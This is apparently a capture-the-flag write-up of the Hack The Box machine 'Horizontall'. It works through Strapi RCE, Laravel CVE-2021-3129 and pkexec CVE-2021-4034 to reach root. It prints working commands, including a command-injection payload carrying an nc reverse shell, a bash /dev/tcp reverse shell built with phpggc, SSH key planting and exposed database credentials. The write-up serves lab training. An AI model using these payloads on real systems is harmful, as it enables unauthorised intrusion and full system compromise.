Recon
Rustscan x nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
└─$ rustscan -a 10.10.11.105 -b 5000 -- -A -Pn -sV -T5
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
Open 10.10.11.105:22
Open 10.10.11.105:80
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http syn-ack nginx 1.14.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Did not follow redirect to http://horizontall.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
|
Dirbuster
Nothing.
Checking js files
http://horizontall.htb/js/app.c68eb462.js
Found an API
http://api-prod.horizontall.htb/
Vulnerabilities
1
2
3
4
5
6
7
8
9
|
└─$ searchsploit strapi
---------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
---------------------------------------------------------------------------- ---------------------------------
Strapi 3.0.0-beta - Set Password (Unauthenticated) | multiple/webapps/50237.py
Strapi 3.0.0-beta.17.7 - Remote Code Execution (RCE) (Authenticated) | multiple/webapps/50238.py
Strapi CMS 3.0.0-beta.17.4 - Remote Code Execution (RCE) (Unauthenticated) | multiple/webapps/50239.py
Strapi CMS 3.0.0-beta.17.4 - Set Password (Unauthenticated) (Metasploit) | nodejs/webapps/50716.rb
---------------------------------------------------------------------------- ---------------------------------
|
Try Remote Code Execution (RCE) (Unauthenticated)
1
2
3
4
5
6
7
8
9
10
|
└─$ python3 50239.py http://api-prod.horizontall.htb/
[+] Checking Strapi CMS Version running
[+] Seems like the exploit will work!!!
[+] Executing exploit
[+] Password reset was successfully
[+] Your email is: admin@horizontall.htb
[+] Your new credentials are: admin:SuperStrongPassword1
[+] Your authenticated JSON Web Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjYyMjIwMzE2LCJleHAiOjE2NjQ4MTIzMTZ9.3vb6VozYIiVk-qJ2ORMZTC8wodyGV855NjnlvtVLlZg
|
get a reverse shell with the JWT token
https://nvd.nist.gov/vuln/detail/CVE-2019-19609
https://bittherapy.net/post/strapi-framework-remote-code-execution/
1
2
3
4
5
6
7
8
9
10
|
└─$ curl -i -s -k -X $'POST' -H $'Host: api-prod.horizontall.htb' -H $'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjYyMjIxMDc4LCJleHAiOjE2NjQ4MTMwNzh9.aCBNRZ7mz5rMMDq7a0Ca9JU1Vhqm2XnQN6F3fr8Orjg' -H $'Content-Type: application/json' -H $'Origin: http://api-prod.horizontall.htb' -H $'Content-Length: 123' -H $'Connection: close' --data $'{\"plugin\":\"documentation && $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.11 4444 >/tmp/f)\",\"port\":\"80\"}' $'http://api-prod.horizontall.htb/admin/plugins/install'
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.11] from (UNKNOWN) [10.10.11.105] 36342
whoami
strapi
cat /home/developer/user.txt
*************************6a43c5d
|
We can now get the user flag !
Getting a stable shell
Home directory of strapi
is in /opt/strapi
. We can try to create a .ssh
directory here to put our SSH public key on an authorized_keys file.
1
2
3
4
|
mkdir .ssh
echo "mypubkey" > .ssh/authorized_keys
ssh i- myprivkey strapi@10.10.11.105
|
We now have a fully interactive and stable shell.
Path to the privesc
Local Recon
First, I tried to get privileges of the user strapi
using the sudo -l
command, but it asked for strapi’s password that we don’t have.
Then, I launch a LinPeas scan. It gave me severals interesting information.
-
The Host seems to be vulnerable to the polkit’s pkexec.
-
We found 3 services that are listening from the netstat
command
1
2
3
4
5
6
|
strapi@horizontall:~$ netstat -lnptu
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:1337 0.0.0.0:* LISTEN 1825/node /usr/bin/
tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN -
tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN -
|
First one is a mysql server listening on port 3306. The LinPeas
found credentials on files.
1
2
3
4
5
6
7
8
9
10
|
╔══════════╣ Searching mysql credentials and exec
Found readable /etc/mysql/my.cnf
"settings": {
"client": "mysql",
"database": "strapi",
"host": "127.0.0.1",
"port": 3306,
"username": "developer",
"password": "#J!:F9Zt2u"
|
The second one seems to be a nodejs server listening on port 1337. Running a curl on it we can’t find any informations.
The third one, on port 8000, gave us an information while using a curl on it:
1
2
3
4
5
|
strapi@horizontall:~$ curl localhost:8000
[...]
Laravel v8 (PHP v7.4.18)
[...]
|
With searchsloit
if found multiple vulnerability while searching Laravel.
1
2
3
4
5
6
7
8
|
└─$ searchsploit laravel
------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------- ---------------------------------
Laravel 8.4.2 debug mode - Remote code execution | php/webapps/49424.py
PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Fo | php/webapps/50525.txt
...
------------------------------------------------------------------------- ---------------------------------
|
Exploiting Laravel
If first tried the Laravel 8.4.2 debug mode - Remote code execution
but it won’t work. After some research I found that Laravel is vulnerable (CVE-2021-3129.
This article well explained the vulnerability.
I found a first PoC on github at https://github.com/knqyf263/CVE-2021-3129.
First, we will need the phpggc
library that will craft our payload. The library can be found on Github here.
The I follow those steps:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
####### On host #######
# open ssh tunnel to get access to the service
└─$ ssh -i ~/.ssh/htb_rsa -L 8000:localhost:8000 strapi@10.10.11.105
####### On host #######
# clone phpggc repo
└─$ git clone https://github.com/ambionics/phpggc.git
# Modify the script with our target and command
# 102 def main():
# 103 Exploit("http://localhost:8000", "id")
# execute exploit
└─$ python3 exploit.py
[*] Try to use monolog_rce1 for exploitation.
[+] PHPGGC found. Generating payload and deploy it to the target
[*] Result:
uid=0(root) gid=0(root) groups=0(root)
|
It works! With the id
command we can see that we are root. Then, I tried to replace the command with several reverse shell but I can’t find one that works. That’s because this PoC does handle only basic commands (without special characters and space).

*Part of the script that escape needed characters for reverse shell command*
Instead of modifying the script (yes i’m lazy), I manage to find another exploit.
I tried with this exploit: https://github.com/ambionics/laravel-exploits. With this one, we have to manually craft the payload with phpggc
then provide it in argument to the script. I replace the id
command in example by a bash reverse shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
####### On host #######
# open ssh tunnel to get access to the service
└─$ ssh -i ~/.ssh/htb_rsa -L 8000:localhost:8000 strapi@10.10.11.105
####### On host #######
# create payload using phpggc
└─$ php -d'phar.readonly=0' ./phpggc/phpggc --phar phar -o exploit.phar --fast-destruct monolog/rce1 system "bash -c '/bin/sh -i >& /dev/tcp/10.10.16.11/4444 0>&1'"
└─$ python3 laravel-ignition-rce.py http://localhost:8000/ exploit.phar
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.11] from (UNKNOWN) [10.10.11.105] 40520
/bin/sh: 0: can't access tty; job control turned off
whoami
root
|
The exploit works! We got a root shell and we can get our flag ! :)
Exploiting CVE-2021-4034
I tried to exploit the polkit’s pkexec (cve-2021-4034) found from LinPeas
.
CVE-2021-4034 is a local privilege escalation done with the polkit’s pkexec utility. pkexec
“allows an authorized user to execute PROGRAM as another user”. According to the NSE description, “the current version of pkexec doesn’t handle the calling parameters count correctly and ends trying to execute environment variables as commands”.
A user can manipulate PATHs and send bad arguments to force pkexec to execute commands. If we send a null argument to pkexec, it is possible to execute commands that have been set on environnement PATHs. This article explain more specifically that vulnerability.
I found an exploit on github that reproduce those steps.
1
2
3
4
5
6
7
8
9
10
11
|
# compiled exploit w/ gcc
$ gcc exploit.c -o exploit
# execute the exploit
$ ./exploit
$ whoami
root
$ cat /root/root.txt
********************************
|
The exploit works! We got a root shell and we can get our flag ! :)
CMS Exploit, Account Misconfiguration